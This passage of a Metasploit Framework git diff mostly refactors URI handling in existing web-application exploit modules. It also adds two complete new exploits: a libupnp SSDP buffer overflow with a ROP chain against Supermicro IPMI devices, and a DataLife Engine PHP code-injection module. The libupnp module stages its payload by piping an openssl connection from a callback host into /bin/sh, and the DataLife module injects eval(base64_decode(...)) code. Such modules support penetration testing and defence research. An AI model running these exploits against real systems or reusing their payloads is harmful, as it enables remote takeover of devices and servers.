(rport.to_i == 80) ? "" : ":#{rport}" - uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" + uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment") post_data = "" send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", + 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, @@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}spamlog.txt.php" + 'uri' => normalize_uri(@base, "spamlog.txt.php") }) end diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index fb3f1693f9..90ebfa34a7 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'evilcry', # pbot analysis' 'Jay Turla', # pbot analysis - '@bwallHatesTwits', # PoC + 'bwall', # aka @bwallHatesTwits, PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb new file mode 100644 index 0000000000..ac7286c9b0 --- /dev/null +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -0,0 +1,349 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', + 'Description' => %q{ + This module exploits a buffer overflow in the unique_service_name() + function of libupnp's SSDP processor. The libupnp library is used across + thousands of devices and is referred to as the Intel SDK for UPnP + Devices or the Portable SDK for UPnP Devices. + + Due to size limitations on many devices, this exploit uses a separate TCP + listener to stage the real payload. + }, + 'Author' => [ + 'hdm', # Exploit dev for Supermicro IPMI + 'Alex Eubanks ', # Exploit dev for Supermicro IPMI + 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-5958' ], + [ 'US-CERT-VU', '922681' ], + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => + { +# +# # The following BadChars do not apply since we stage the payload +# # through a secondary connection. This is just for reference. +# +# 'BadChars' => +# # Bytes 0-8 are not allowed +# [*(0..8)].pack("C*") + +# # 0x09, 0x0a, 0x0d are allowed +# "\x0b\x0c\x0e\x0f" + +# # All remaining bytes up to space are restricted +# [*(0x10..0x1f)].pack("C*") + +# # Also not allowed +# "\x7f\x3a" + +# # Breaks our string quoting +# "\x22", + + # Unlimited since we stage this over a secondary connection + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + # specific payloads vary widely by device (openssl for IPMI, etc) + } + }, + 'Targets' => + [ + + [ "Automatic", { } ], + + # + # ROP targets are difficult to represent in the hash, use callbacks instead + # + [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", { + + # The callback handles all target-specific settings + :callback => :target_supermicro_ipmi_131, + + # This matches any line of the SSDP M-SEARCH response + :fingerprint => + /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi + + # + # SSDP response: + # Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1 + # http://192.168.xx.xx:49152/IPMIdevicedesc.xml + # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + + # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) + + } ], + + [ "Debug Target", { + + # The callback handles all target-specific settings + :callback => :target_debug + + } ] + + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 29 2013')) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(1900), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) + ], self.class) + end + + + def exploit + + configure_socket + + target_info = choose_target + + unless self.respond_to?(target_info[:callback]) + print_error("Invalid target specified: no callback function defined") + return + end + + buffer = self.send(target_info[:callback]) + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") + + r = udp_sock.sendto(pkt, rhost, rport, 0) + + 1.upto(5) do + ::IO.select(nil, nil, nil, 1) + break if session_created? + end + + # No handler() support right now + end + + + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc + def target_supermicro_ipmi_131 + + # Create a fixed-size buffer for the payload + buffer = Rex::Text.rand_text_alpha(2000) + + # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() + buffer[0,1] = '"' + buffer[1999,1] = '"' + + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener(true) + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Restart the service and use openssl to stage the real payload + # Staged because only ~150 bytes of contiguous data are available before mangling + cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#" + buffer[432, cmd.length] = cmd + + # Adjust $r3 to point from the bottom of the stack back into our buffer + buffer[304,4] = [0x4009daf8].pack("V") # + # 0x4009daf8: add r3, r3, r4, lsl #2 + # 0x4009dafc: ldr r0, [r3, #512] ; 0x200 + # 0x4009db00: pop {r4, r10, pc} + + # The offset (right-shifted by 2 ) to our command string above + buffer[284,4] = [0xfffffe78].pack("V") # + + # Copy $r3 into $r0 + buffer[316,4] = [0x400db0ac].pack("V") + # 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1 + # 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4) + + # Move our stack pointer down so as not to corrupt our payload + buffer[320,4] = [0x400a5568].pack("V") + # 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198 + # 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc} + + # Finally return to system() with $r0 pointing to our string + buffer[141,4] = [0x400add8c].pack("V") + + return buffer +=begin + 00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev + 00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev + 00032000-00055000 rwxp 00000000 00:00 0 [heap] + 40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so + 40015000-40017000 rwxp 00000000 00:00 0 + 4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so + 4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so + 4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so + 4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so + 40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40036000-40078000 rwxp 00000000 00:00 0 + 40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so + 40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so + 40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so + 40185000-40187000 rwxp 00000000 00:00 0 + bd600000-bd601000 ---p 00000000 00:00 0 + bd601000-bd800000 rwxp 00000000 00:00 0 + bd800000-bd801000 ---p 00000000 00:00 0 + bd801000-bda00000 rwxp 00000000 00:00 0 + bdc00000-bdc01000 ---p 00000000 00:00 0 + bdc01000-bde00000 rwxp 00000000 00:00 0 + be000000-be001000 ---p 00000000 00:00 0 + be001000-be200000 rwxp 00000000 00:00 0 + be941000-be956000 rwxp 00000000 00:00 0 [stack] +=end + + end + + # Generate a buffer that provides a starting point for exploit development + def target_debug + buffer = Rex::Text.pattern_create(2000) + end + + def stage_real_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end + + def start_listener(ssl = false) + + comm = datastore['ListenerComm'] + if comm == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self, + }) + + self.service.on_client_connect_proc = Proc.new { |client| + stage_real_payload(client) + } + + # Start the listening service + self.service.start + end + + # + # Shut down any running services + # + def cleanup + super + if self.service + print_status("Shutting down payload stager listener...") + begin + self.service.deref if self.service.kind_of?(Rex::Service) + if self.service.kind_of?(Rex::Socket) + self.service.close + self.service.stop + end + self.service = nil + rescue ::Exception + end + end + end + + def choose_target + # If the user specified a target, use that one + return self.target unless self.target.name =~ /Automatic/ + + msearch = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + # Fingerprint the service through SSDP + udp_sock.sendto(msearch, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,addr,info = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /^(Server|Location)/mi + udp_sock.sendto(msearch, rhost, rport, 0) + end + + self.targets.each do |t| + return t if t[:fingerprint] and res =~ t[:fingerprint] + end + + if res and res.to_s.length > 0 + print_status("No target matches this fingerprint") + print_status("") + res.to_s.split("\n").each do |line| + print_status(" #{line.strip}") + end + print_status("") + else + print_status("The system #{rhost} did not reply to our M-SEARCH probe") + end + + fail_with(Exploit::Failure::NoTarget, "No compatible target detected") + end + + # Accessor for our TCP payload stager + attr_accessor :service + + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # + # Required since we aren't using the normal mixins + # + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + +end diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 3fde5b946a..c8a99cdb92 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -61,12 +61,11 @@ class Metasploit3 < Msf::Exploit::Remote def check base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' sig = rand_text_alpha(10) res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => sig, 'new' => '1', @@ -86,10 +85,9 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending GET request...") base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => "&#{payload.encoded} #", 'new' => '1', diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 772eeb722c..170db130fc 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/picEditor.php' + 'uri' => normalize_uri(datastore['URI'], '/picEditor.php') }, 25) if (res and res.body =~ /Coppermine Picture Editor/i) @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(datastore['URI']) + "/picEditor.php", + 'uri' => normalize_uri(datastore['URI'], "/picEditor.php"), 'vars_post' => { 'angle' => angle, diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb new file mode 100644 index 0000000000..7497dd6f9b --- /dev/null +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -0,0 +1,95 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DataLife Engine preview.php PHP Code Injection', + 'Description' => %q{ + This module exploits a PHP code injection vulnerability DataLife Engine 9.7. + The vulnerability exists in preview.php, due to an insecure usage of preg_replace() + with the e modifier, which allows to inject arbitrary php code, when there is a + template installed which contains a [catlist] or [not-catlist] tag, even when the + template isn't in use currently. The template can be configured with the TEMPLATE + datastore option. + }, + 'Author' => + [ + 'EgiX', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-1412' ], + [ 'BID', '57603' ], + [ 'EDB', '24438' ], + [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ], + [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'Keys' => ['php'] + }, + 'DisclosureDate' => 'Jan 28 2013', + 'Targets' => [ ['DataLife Engine 9.7', { }], ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]), + OptString.new('TEMPLATE', [ true, "Template with catlist or not-catlit tag", "Default"]) + ], self.class) + end + + def uri + normalize_uri(target_uri.path, 'engine', 'preview.php') + end + + def send_injection(inj) + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'vars_post' => + { + 'catlist[0]' => inj + }, + 'cookie' => "dle_skin=#{datastore['TEMPLATE']}" + }) + res + end + + def check + fingerprint = rand_text_alpha(4+rand(4)) + + res = send_injection("#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//") + + if res and res.code == 200 and res.body =~ /#{fingerprint}/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def exploit + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") + res = send_injection("#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//") + end +end diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 58b051af1b..9dc2044cd7 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -58,12 +58,11 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}egallery/uploadify.php" + 'uri' => normalize_uri(uri, "egallery", "uploadify.php") }) if res and res.code == 200 and res.body.empty? @@ -97,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}egallery/uploadify.php", + 'uri' => normalize_uri("#{uri}egallery/uploadify.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) @@ -113,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}#{payload_name}" + 'uri' => normalize_uri("#{uri}#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index 0ccb1efcfd..c7fa522c9f 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -54,9 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=' + uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php') + uri << '?type=file&folder=' res = send_request_raw( { 'uri' => uri diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index 7f9b9cd6f0..546bd1cf11 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -68,9 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'www/admin/' + uri = normalize_uri(datastore['URI'], 'www', 'admin/') res = send_request_raw( { 'uri' => uri @@ -108,9 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote # Static files img_dir = 'images/' - uri_base = normalize_uri(datastore['URI']) - uri_base << '/' if uri_base[-1,1] != '/' - uri_base << 'www/' + uri_base = normalize_uri(datastore['URI'], 'www/') # Need to login first :-/ cookie = openx_login(uri_base) @@ -166,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw( { - 'uri' => uri_base + 'admin/index.php' + 'uri' => normalize_uri(uri_base, 'admin/index.php') }, 10) if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/) return nil @@ -176,7 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => uri_base + 'admin/index.php', + 'uri' => normalize_uri(uri_base, 'admin/index.php'), 'vars_post' => { 'oa_cookiecheck' => cookie, @@ -201,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Remote def openx_find_campaign(uri_base, cookie) res = send_request_raw( { - 'uri' => uri_base + 'admin/advertiser-campaigns.php', + 'uri' => normalize_uri(uri_base, 'admin/advertiser-campaigns.php'), 'headers' => { 'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}", @@ -269,7 +265,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -287,7 +283,7 @@ class Metasploit3 < Msf::Exploit::Remote # Ugh, now we have to get the banner id! res = send_request_raw( { - 'uri' => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}", + 'uri' => normalize_uri(uri_base, "admin/campaign-banners.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}", 'method' => 'GET', 'headers' => { @@ -319,7 +315,7 @@ class Metasploit3 < Msf::Exploit::Remote # Ugh, now we have to get the banner name too! res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { @@ -338,7 +334,7 @@ class Metasploit3 < Msf::Exploit::Remote def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id) res = send_request_raw( { - 'uri' => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-delete.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 66fa7d4ca2..7ca3dc9b58 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending file save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/" + "admin/file_manager.php/login.php?action=save", + 'uri' => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save", 'method' => 'POST', 'data' => data, 'headers' => @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/" + File.basename(filename) + 'uri' => normalize_uri(datastore['URI'], File.basename(filename)) }, timeout) handler diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb index 9526b9f2fa..e6fcd81726 100644 --- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb @@ -54,12 +54,11 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php") }) if res and res.code == 200 @@ -83,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => post_data.to_s }) @@ -96,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php" + 'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php") }) if res and res.code != 200 diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index 60dc44e643..f19ece646e 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote 1.upto(32) do |x| res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/viewtopic.php?topic=' + x.to_s, + 'uri' => normalize_uri(datastore['URI'], '/viewtopic.php') + '?topic=' + x.to_s, }, 25) if (res and res.body.match(/class="postdetails"/)) @@ -92,14 +92,14 @@ class Metasploit3 < Msf::Exploit::Remote return else - sploit = normalize_uri(datastore['URI']) + "/viewtopic.php?t=#{topic}&highlight=" + sploit = normalize_uri(datastore['URI'], "/viewtopic.php") + "?t=#{topic}&highlight=" case target.name when /Automatic/ req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + req + 'uri' => normalize_uri(datastore['URI'], req) }, 25) print_status("Trying to determine which attack method to use...") diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index f215e4b11a..55f894ffc3 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # First, grab the session cookie and the CSRF token print_status("Grabbing session cookie and CSRF token") - uri = normalize_uri(datastore['URI']) + "/scripts/setup.php" + uri = normalize_uri(datastore['URI'], "/scripts/setup.php") response = send_request_raw({ 'uri' => uri}) if !response fail_with(Exploit::Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.") @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote # Now that we've got the cookie and token, send the evil print_status("Sending save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/scripts/setup.php", + 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), 'method' => 'POST', 'data' => data, 'cookie' => cookie, @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Remote response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/config/config.inc.php" + 'uri' => normalize_uri(datastore['URI'], "/config/config.inc.php") }, timeout) handler diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 06af2b28c7..4b5b2a4745 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base}/index.php", + 'uri' => normalize_uri("#{base}/index.php"), 'vars_get' => { 'c' => 'access', diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index 83de69d3d7..9de06547ac 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit command = Rex::Text.uri_encode(payload.encoded) - urlconfigdir = normalize_uri(datastore['URI']) + "/repository/annotate?rev=`#{command}`" + urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`" res = send_request_raw({ 'uri' => urlconfigdir, diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 6e1c95852a..07465ee236 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/index.php' + 'uri' => normalize_uri(datastore['URI'], '/index.php') }, 25) if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/) @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_password_hash(file) res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + file, + 'uri' => normalize_uri(datastore['URI'], file) }, 25) if (res and res.message == "OK" and res.body) @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote def create_new_password(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + '/install03_cgi.php', + 'uri' => normalize_uri(datastore['URI'], '/install03_cgi.php'), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_session(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/login_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/login_cgi.php"), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/upload_img_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/upload_img_cgi.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote def reset_original_password(hash, scriptlocation) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + scriptlocation, + 'uri' => normalize_uri(datastore['URI'], scriptlocation), 'method' => 'POST', 'data' => "hash=" + hash, }, 25) @@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + delete_path, + 'uri' => normalize_uri(datastore['URI'], delete_path), }, 25) if (res) diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index 40311c1ed3..9f8aadb621 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -75,7 +75,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" username = datastore['USERNAME'] @@ -89,7 +88,7 